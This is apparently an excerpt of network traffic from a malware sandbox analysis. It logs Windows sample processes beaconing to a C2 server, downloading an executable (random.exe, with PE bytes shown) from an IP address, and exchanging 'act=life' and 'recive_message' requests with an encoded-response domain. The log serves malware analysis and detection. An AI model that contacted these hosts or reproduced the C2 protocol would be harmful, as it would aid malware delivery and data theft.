Dec 19, 2024 20:12:06.697139025 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017824001&unit=246122658369
Dec 19, 2024 20:12:08.011024952 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:12:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49928	31.41.244.11	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:12:08.142157078 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 20:12:09.467747927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:12:09 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 19, 2024 20:12:09.467864037 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 19, 2024 20:12:09.468027115 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 19, 2024 20:12:09.468118906 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 19, 2024 20:12:09.468132019 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 19, 2024 20:12:09.468478918 CET	1236	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 19, 2024 20:12:09.468491077 CET	896	IN	Data Raw: 00 50 ff 15 34 a1 41 00 85 c0 7e 13 8d 85 58 ff ff ff 50 ff 15 d4 a1 41 00 59 a3 84 e0 41 00 8d 47 01 50 ff b6 bc e0 41 00 57 53 6a 00 ff 35 84 e0 41 00 ff 15 38 a1 41 00 8b 86 bc e0 41 00 5f 5e 5b c9 c3 83 3d b0 e0 41 00 00 74 20 56 be bc e0 41 Data Ascii: P4A~XPAYAGPAWSj5A8AA_^[=At VAtPl&Y~u^U$hAhAhAPlAtMQE38Au0A=At*h@AhAhAPlAt5A%A%Ah`A
Dec 19, 2024 20:12:09.468502998 CET	1236	IN	Data Raw: 00 85 c0 75 0b 8b 06 6a 01 57 8b ce ff 50 04 4f 47 3b 7e 08 7c d8 5f 5e c3 56 8b f1 ff 76 0c e8 cf 68 01 00 ff 36 e8 c8 68 01 00 59 59 5e c3 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 59 ff ff ff 83 c4 0c 85 c0 74 04 8b 40 0c c3 33 c0 c3 55 8b ec 83 Data Ascii: ujWPOG;~\|_^Vvh6hYY^t$t$t$Yt@3U@}u3AE@uEEP At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV
Dec 19, 2024 20:12:09.468513966 CET	224	IN	Data Raw: ff 75 08 53 ff 75 10 ff 15 18 a1 41 00 8b 0e 88 1c 08 89 46 04 5f 8b c6 5e 5b 5d c3 55 8b ec 83 ec 0c 8d 4d f4 e8 76 e6 ff ff 83 7d fc 01 7f 0a 6a 01 8d 4d f4 e8 32 e3 ff ff 56 8b 35 14 a1 41 00 57 8b 7d 08 8b 07 6a 01 ff 75 f4 50 ff d6 85 c0 75 Data Ascii: uSuAF_^[]UMv}jM2V5AW}juPuucY7S@PPMPSuVf$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]
Dec 19, 2024 20:12:09.468533039 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 19, 2024 20:12:09.587389946 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49812	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:27 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-19 19:11:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 19:11:28 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gpo1527nrub1v7d5mqi6pjqf87; expires=Mon, 14 Apr 2025 12:58:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BFNfVOE0%2Fgj%2FrXiiwTKgX1SEbblP7iedNKf8cVhAyI%2B%2Fbzl5IK46jIaJIrJ2z0HEMm8uhLCSkEJo3iodcaBjfUMDDN1BWdeKFSeylvLovmbhjNq%2FAIoFip29mrxVGl%2FBAeJW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b2d57b7b7d05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1851&min_rtt=1832&rtt_var=700&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=1593886&cwnd=195&unsent_bytes=0&cid=f9f4448bc9f385cf&ts=810&x=0"
2024-12-19 19:11:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 19:11:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49820	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:29 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: treehoneyi.click
2024-12-19 19:11:29 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=rAGxSF--Support&j=
2024-12-19 19:11:30 UTC	1126	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=diqmi57s86qipjp2brbek91bv5; expires=Mon, 14 Apr 2025 12:58:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W3oNoEbAkgOPsSs14pAM767EVVHhrXry8%2Fan1H%2Beoi4%2BHVm9IOBXZfW%2BgZbtFEo0MmWAW%2BC3bgmMfxMGsFxzB%2FWt2hjWkuH9jjNOpLaET0y1xhzM3W0e64E5VAmCZZBzpYHw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b2e23f2119aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1907&min_rtt=1895&rtt_var=719&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=949&delivery_rate=1540897&cwnd=32&unsent_bytes=0&cid=a3be596440a65bcc&ts=796&x=0"
2024-12-19 19:11:30 UTC	243	IN	Data Raw: 34 39 31 63 0d 0a 50 6e 31 4c 48 5a 59 30 6d 4c 6a 65 6f 79 46 68 64 69 38 4c 61 41 39 45 71 46 6a 44 6a 74 4f 62 39 6d 39 48 49 4c 4d 39 54 45 39 46 58 7a 30 2f 72 41 43 30 6d 71 33 47 41 31 73 43 58 58 34 4e 49 32 62 4a 50 4f 47 30 74 66 71 61 48 43 49 4d 6b 55 73 68 62 51 51 62 4b 6e 48 6c 55 62 53 61 75 39 73 44 57 79 31 55 4b 51 31 68 5a 70 4a 36 70 75 53 78 2b 70 6f 4e 4a 6b 76 63 54 53 41 73 56 68 45 73 64 66 4e 58 2f 4e 6d 79 7a 6b 51 45 45 30 35 68 42 6d 59 70 77 44 58 68 6f 76 48 2b 6a 45 31 39 41 76 35 59 4f 43 35 7a 48 44 68 32 74 45 6d 30 77 2f 7a 47 54 30 4e 4d 44 57 6f 4e 62 53 6a 4f 50 4b 6a 6d 75 2f 4f 53 44 43 4e 4b 77 31 51 71 4a 31 59 66 4c 33 54 35 58 75 6a 55 75 4d 6c 50 41 68 6c 4f 4b 55 51 74 49 Data Ascii: 491cPn1LHZY0mLjeoyFhdi8LaA9EqFjDjtOb9m9HILM9TE9FXz0/rAC0mq3GA1sCXX4NI2bJPOG0tfqaHCIMkUshbQQbKnHlUbSau9sDWy1UKQ1hZpJ6puSx+poNJkvcTSAsVhEsdfNX/NmyzkQEE05hBmYpwDXhovH+jE19Av5YOC5zHDh2tEm0w/zGT0NMDWoNbSjOPKjmu/OSDCNKw1QqJ1YfL3T5XujUuMlPAhlOKUQtI
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 64 4a 36 2b 61 7a 69 79 35 63 63 4e 46 66 63 54 79 68 74 51 31 45 77 50 2f 4e 61 75 6f 4c 38 79 55 38 4e 45 55 35 6d 44 57 77 6d 32 44 57 68 37 37 6e 78 6b 41 63 71 54 64 35 52 4a 43 70 55 46 69 35 77 38 31 37 38 31 62 2b 42 44 55 4d 54 56 53 6c 53 4c 51 62 61 4f 61 4c 34 76 4f 6a 55 45 6d 74 62 6b 56 67 69 62 51 52 66 4c 33 48 31 57 2f 72 49 74 4d 70 49 42 67 5a 47 59 41 64 67 4a 73 63 77 72 75 2b 78 2f 70 34 48 4b 6b 6a 56 55 69 4d 72 58 42 39 70 4d 62 52 52 34 70 72 6b 67 57 41 47 42 45 70 6c 48 43 38 63 69 69 58 76 39 66 48 2b 6d 45 31 39 41 74 6c 61 4c 53 35 58 45 43 70 33 2f 30 54 36 79 4c 72 4d 52 68 45 53 53 47 63 41 62 6a 54 41 4e 4b 66 76 75 50 4b 64 43 43 4a 47 6b 52 46 75 4b 6b 52 66 63 54 2f 56 57 2f 48 57 74 74 5a 44 51 77 73 44 63 45 70 71 Data Ascii: dJ6+aziy5ccNFfcTyhtQ1EwP/NauoL8yU8NEU5mDWwm2DWh77nxkAcqTd5RJCpUFi5w81781b+BDUMTVSlSLQbaOaL4vOjUEmtbkVgibQRfL3H1W/rItMpIBgZGYAdgJscwru+x/p4HKkjVUiMrXB9pMbRR4prkgWAGBEplHC8ciiXv9fH+mE19AtlaLS5XECp3/0T6yLrMRhESSGcAbjTANKfvuPKdCCJGkRFuKkRfcT/VW/HWttZDQwsDcEpq
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 66 6a 76 50 58 55 51 32 56 46 79 52 39 32 62 58 59 63 50 58 7a 2b 46 4d 2f 5a 73 73 39 45 46 56 52 53 4a 78 4d 74 49 63 5a 36 2b 61 79 38 2b 4a 77 4c 4e 30 33 63 58 43 41 6a 55 78 6f 6d 64 2f 52 57 39 39 2b 34 79 6b 67 41 47 55 6c 37 41 47 30 75 7a 7a 75 72 35 76 47 33 31 41 6f 39 41 6f 6b 66 48 7a 70 58 58 52 78 38 2b 6c 6a 39 7a 50 7a 65 44 52 70 55 53 6d 56 4b 4e 57 62 48 4d 71 54 70 76 76 69 65 41 79 42 49 33 56 63 67 4c 6b 34 51 4c 58 2f 34 58 76 44 58 73 73 56 4c 43 68 39 47 62 77 70 73 4c 49 70 30 34 65 75 70 75 63 78 4e 45 55 58 64 55 69 46 76 61 52 77 6e 63 66 4e 41 75 73 58 79 32 41 4d 45 47 41 30 78 53 6d 45 76 79 6a 47 72 36 4c 48 2b 6d 51 67 6d 52 64 4a 53 4b 53 64 53 47 43 31 7a 2f 56 76 38 32 72 76 46 52 68 45 52 52 47 55 47 4c 57 69 4b 50 Data Ascii: fjvPXUQ2VFyR92bXYcPXz+FM/Zss9EFVRSJxMtIcZ6+ay8+JwLN03cXCAjUxomd/RW99+4ykgAGUl7AG0uzzur5vG31Ao9AokfHzpXXRx8+lj9zPzeDRpUSmVKNWbHMqTpvvieAyBI3VcgLk4QLX/4XvDXssVLCh9GbwpsLIp04eupucxNEUXdUiFvaRwncfNAusXy2AMEGA0xSmEvyjGr6LH+mQgmRdJSKSdSGC1z/Vv82rvFRhERRGUGLWiKP
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 67 31 41 6f 70 41 6f 6b 66 4a 79 52 4f 45 53 64 32 2b 56 44 79 33 62 4c 4d 53 41 55 66 53 6d 34 4d 59 43 37 48 50 36 4c 74 74 66 4f 47 44 69 35 49 33 46 56 75 59 78 77 59 4d 54 2b 73 46 74 33 57 6c 64 46 59 45 51 49 4e 64 6b 52 30 5a 73 30 32 34 62 54 78 2b 70 73 45 4b 6b 72 5a 55 43 45 70 55 68 6b 76 63 76 46 5a 38 4d 69 30 7a 30 34 49 47 30 5a 37 43 6d 41 69 78 6a 36 70 35 37 75 35 32 6b 30 69 57 70 45 48 62 68 68 52 45 43 6c 38 34 68 62 6c 6c 4b 57 42 52 41 39 55 46 53 6b 47 59 79 62 46 4e 71 33 6e 75 66 69 59 41 79 4a 48 32 46 63 6d 50 31 30 62 49 58 37 36 57 66 76 65 75 63 52 48 42 42 42 4c 5a 6b 6f 6a 5a 73 30 69 34 62 54 78 31 72 4d 34 5a 32 50 72 48 7a 46 6a 52 56 38 75 63 37 51 4f 75 74 61 2f 7a 55 73 4d 45 6b 52 6c 41 47 51 74 78 6a 47 6c 34 4c Data Ascii: g1AopAokfJyROESd2+VDy3bLMSAUfSm4MYC7HP6LttfOGDi5I3FVuYxwYMT+sFt3WldFYEQINdkR0Zs024bTx+psEKkrZUCEpUhkvcvFZ8Mi0z04IG0Z7CmAixj6p57u52k0iWpEHbhhRECl84hbllKWBRA9UFSkGYybFNq3nufiYAyJH2FcmP10bIX76WfveucRHBBBLZkojZs0i4bTx1rM4Z2PrHzFjRV8uc7QOuta/zUsMEkRlAGQtxjGl4L
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 4a 45 50 58 54 53 6b 6b 54 68 45 6b 63 50 78 65 38 39 75 34 78 45 34 46 47 45 64 6f 44 57 4d 6f 77 6e 72 76 72 4c 62 68 31 46 56 6c 59 38 46 45 50 44 74 52 50 69 52 77 74 45 6d 30 77 2f 7a 47 54 30 4e 4d 44 57 41 59 61 53 76 59 4d 36 62 69 76 76 71 47 44 43 68 4a 77 31 67 68 4b 56 73 54 4c 33 44 79 56 2f 2f 51 73 4d 5a 47 43 42 74 42 4b 55 51 74 49 64 4a 36 2b 61 79 66 38 6f 63 61 4a 6b 7a 61 53 54 56 74 51 31 45 77 50 2f 4e 61 75 6f 4c 38 77 6b 67 49 45 45 31 6c 43 6d 6b 72 79 69 69 75 36 37 62 77 6e 78 38 76 52 64 5a 55 4a 69 5a 54 47 54 74 7a 2b 6b 54 2f 79 4b 36 42 44 55 4d 54 56 53 6c 53 4c 52 44 4e 4b 72 48 76 38 38 69 43 44 6a 4e 4a 33 46 4e 75 4d 68 49 47 61 58 6a 34 46 71 4b 61 75 73 35 4b 41 42 74 4d 59 41 5a 67 49 38 4d 2f 6f 4f 71 31 38 35 34 Data Ascii: JEPXTSkkThEkcPxe89u4xE4FGEdoDWMownrvrLbh1FVlY8FEPDtRPiRwtEm0w/zGT0NMDWAYaSvYM6bivvqGDChJw1ghKVsTL3DyV//QsMZGCBtBKUQtIdJ6+ayf8ocaJkzaSTVtQ1EwP/NauoL8wkgIEE1lCmkryiiu67bwnx8vRdZUJiZTGTtz+kT/yK6BDUMTVSlSLRDNKrHv88iCDjNJ3FNuMhIGaXj4FqKaus5KABtMYAZgI8M/oOq1854
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 55 42 67 4e 42 77 59 4a 54 2b 73 46 76 6e 64 76 38 42 4a 43 68 68 43 62 67 35 2f 4c 4d 30 6f 6f 4f 32 36 39 4a 67 4e 4b 45 2f 62 58 69 63 67 55 42 49 75 65 50 74 54 75 70 54 38 78 6c 74 44 54 41 31 49 42 32 59 71 6b 57 44 68 38 2f 2f 67 31 41 6f 70 41 6f 6b 66 4c 69 64 5a 46 53 52 38 2b 31 58 6f 32 37 72 54 51 77 34 65 58 32 4d 42 61 43 76 48 4e 36 4c 71 74 2f 4b 59 48 79 78 43 30 6c 52 75 59 78 77 59 4d 54 2b 73 46 74 6e 4e 71 73 74 45 44 77 4a 47 61 41 6c 37 4b 39 70 36 37 36 79 67 2f 6f 56 4e 66 56 54 42 53 43 6b 79 45 67 5a 70 65 50 67 57 6f 70 71 36 79 45 55 45 45 6b 4e 37 44 32 73 70 78 54 4f 6f 36 4c 6e 36 6c 41 6b 68 52 64 52 63 49 69 5a 62 48 43 5a 37 2f 56 6a 7a 31 66 79 50 41 77 51 4d 44 54 46 4b 54 44 33 4a 4e 71 79 73 72 72 65 4e 54 53 4a 4f Data Ascii: UBgNBwYJT+sFvndv8BJChhCbg5/LM0ooO269JgNKE/bXicgUBIuePtTupT8xltDTA1IB2YqkWDh8//g1AopAokfLidZFSR8+1Xo27rTQw4eX2MBaCvHN6Lqt/KYHyxC0lRuYxwYMT+sFtnNqstEDwJGaAl7K9p676yg/oVNfVTBSCkyEgZpePgWopq6yEUEEkN7D2spxTOo6Ln6lAkhRdRcIiZbHCZ7/Vjz1fyPAwQMDTFKTD3JNqysrreNTSJO
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 30 45 58 77 6c 30 34 6c 50 39 7a 50 37 30 51 41 30 61 53 6e 39 4b 63 68 6d 45 65 71 37 32 38 61 47 74 46 47 56 46 33 52 39 32 62 55 6b 59 4b 58 6a 75 51 50 33 57 72 63 70 4f 44 7a 5a 43 62 68 78 75 4b 63 6b 72 71 4b 43 36 39 4e 52 44 5a 55 58 4a 48 33 5a 74 63 78 67 2f 66 4e 74 56 36 39 50 38 6a 77 4d 45 41 67 30 78 53 6c 4e 6d 32 44 6d 78 37 37 37 6f 71 6b 31 39 57 2b 38 66 4a 54 74 62 44 79 70 70 2f 31 76 32 79 34 4b 42 47 31 64 47 48 7a 74 59 50 7a 6d 4b 4a 5a 36 69 38 66 6a 55 56 52 78 62 6b 55 6c 75 64 51 35 52 61 57 32 30 44 72 71 64 76 39 4e 52 42 52 64 62 61 6b 31 54 47 4f 30 73 71 2b 75 68 2f 6f 4d 43 5a 51 79 52 55 47 35 31 5a 56 38 67 65 4f 39 48 37 4e 65 73 78 67 4d 38 57 67 31 78 53 6a 56 6d 2f 7a 6d 76 34 72 62 76 68 55 41 43 56 4e 74 59 50 Data Ascii: 0EXwl04lP9zP70QA0aSn9KchmEeq728aGtFGVF3R92bUkYKXjuQP3WrcpODzZCbhxuKckrqKC69NRDZUXJH3Ztcxg/fNtV69P8jwMEAg0xSlNm2Dmx777oqk19W+8fJTtbDypp/1v2y4KBG1dGHztYPzmKJZ6i8fjUVRxbkUludQ5RaW20Drqdv9NRBRdbak1TGO0sq+uh/oMCZQyRUG51ZV8geO9H7NesxgM8Wg1xSjVm/zmv4rbvhUACVNtYP
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 6b 63 4c 68 59 38 64 71 37 30 56 55 59 57 45 56 71 45 48 63 59 39 42 47 74 36 72 62 6a 6b 77 73 44 59 70 45 52 62 69 49 63 52 78 41 2f 76 42 62 46 6c 50 7a 5a 41 31 74 55 65 47 6f 45 59 79 48 63 4b 2b 7a 45 6b 73 4f 75 54 77 6c 46 78 42 30 61 4b 6b 77 4f 49 6e 4c 34 46 72 53 61 75 6f 45 62 55 31 6f 4e 62 52 73 74 66 70 70 6f 2b 72 6e 69 72 73 52 66 4f 67 7a 49 48 7a 68 74 42 45 31 6e 50 2b 59 57 6f 70 72 37 77 6c 45 52 45 6b 35 2f 43 53 6f 59 39 42 32 76 36 37 44 76 68 42 6f 71 66 4f 39 4b 4c 53 4e 53 47 44 39 75 74 42 69 36 31 66 79 5a 65 6b 4e 63 44 56 5a 45 4c 54 36 4b 59 75 48 5a 73 76 65 61 43 6a 4e 54 6e 48 67 67 4b 6c 30 4a 4f 57 6a 37 46 72 53 61 75 6f 45 62 55 56 6f 4e 62 52 73 74 66 70 70 6f 2b 72 6e 69 72 73 52 66 4f 67 7a 49 48 7a 68 74 42 45 Data Ascii: kcLhY8dq70VUYWEVqEHcY9BGt6rbjkwsDYpERbiIcRxA/vBbFlPzZA1tUeGoEYyHcK+zEksOuTwlFxB0aKkwOInL4FrSauoEbU1oNbRstfppo+rnirsRfOgzIHzhtBE1nP+YWopr7wlEREk5/CSoY9B2v67DvhBoqfO9KLSNSGD9utBi61fyZekNcDVZELT6KYuHZsveaCjNTnHggKl0JOWj7FrSauoEbUVoNbRstfppo+rnirsRfOgzIHzhtBE
2024-12-19 19:11:30 UTC	1369	IN	Data Raw: 55 62 6a 36 75 39 64 41 51 31 6f 4e 5a 55 6f 31 5a 73 73 77 73 65 47 2b 2f 74 67 4b 50 30 57 52 45 57 34 6a 48 45 64 70 66 76 35 47 39 39 57 37 6a 55 55 4e 47 67 31 32 52 48 52 6d 33 48 72 35 76 2f 2b 35 68 6b 31 39 41 70 5a 63 50 44 39 61 48 44 39 38 73 32 6a 45 39 36 37 47 55 77 42 57 66 47 51 4f 65 7a 50 4a 4b 71 62 53 6a 39 53 47 43 6a 56 42 6b 32 34 34 4c 6c 77 52 4c 6a 2b 36 46 75 4b 61 35 49 46 75 45 52 4e 64 61 6b 6f 6a 5a 73 5a 36 2b 61 79 38 36 35 4d 64 4a 67 37 57 52 53 6c 74 51 31 45 77 50 2b 49 57 6f 6f 6e 79 67 56 46 44 54 41 30 75 42 47 41 6e 79 54 53 69 2f 71 50 2f 6c 78 73 6d 42 65 39 68 41 7a 39 62 44 79 6f 39 78 56 76 2b 7a 4b 6e 43 55 77 51 71 63 30 51 59 61 6a 62 4a 65 49 33 72 76 50 57 71 4d 78 4a 54 31 6b 39 73 43 31 38 4a 4b 6a 2b Data Ascii: Ubj6u9dAQ1oNZUo1ZsswseG+/tgKP0WREW4jHEdpfv5G99W7jUUNGg12RHRm3Hr5v/+5hk19ApZcPD9aHD98s2jE967GUwBWfGQOezPJKqbSj9SGCjVBk244LlwRLj+6FuKa5IFuERNdakojZsZ6+ay865MdJg7WRSltQ1EwP+IWoonygVFDTA0uBGAnyTSi/qP/lxsmBe9hAz9bDyo9xVv+zKnCUwQqc0QYajbJeI3rvPWqMxJT1k9sC18JKj+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
